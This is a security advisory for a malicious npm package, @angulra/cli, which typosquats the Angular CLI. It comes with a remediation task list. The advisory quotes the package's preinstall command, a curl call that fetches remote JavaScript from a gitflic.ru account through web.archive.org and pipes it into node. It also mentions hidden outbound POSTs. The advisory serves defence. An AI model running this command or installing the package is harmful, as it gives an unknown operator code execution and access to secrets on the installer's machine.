MAL-2026-17495 Malicious code in @angulra/cli (npm)
Malicious package
Published
MAL-2026-17495 is a malicious package: @angulra/cli (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-17495/ (Markdown: https://insights.sbomify.com/MAL-2026-17495/index.md)
- Package
- @angulra/cli
- Registry
- npm
What is MAL-2026-17495?
MAL-2026-17495 is a malicious package in @angulra/cli, published on 4 Oct 2026.
Official description
The package name @angulra/cli is a character-swap of @angular/cli and copies the legitimate Angular CLI's metadata (description, repository, homepage, keywords, dependencies). Its package.json defines a preinstall script that runs
curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from an anonymous third-party account (hellscripter) on gitflic.ru via a web.archive.org proxy and piping the response directly into Node. The URL is unpinned, has no integrity check, is unrelated to the Angular publisher, and the fetched bytes execute automatically on npm install, giving the operator of that endpoint arbitrary code execution on the installer's machine. src/analytics/analytics-collector.js additionally issues outbound POSTs via https.request alongside ping-style activity.What should I do about MAL-2026-17495?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.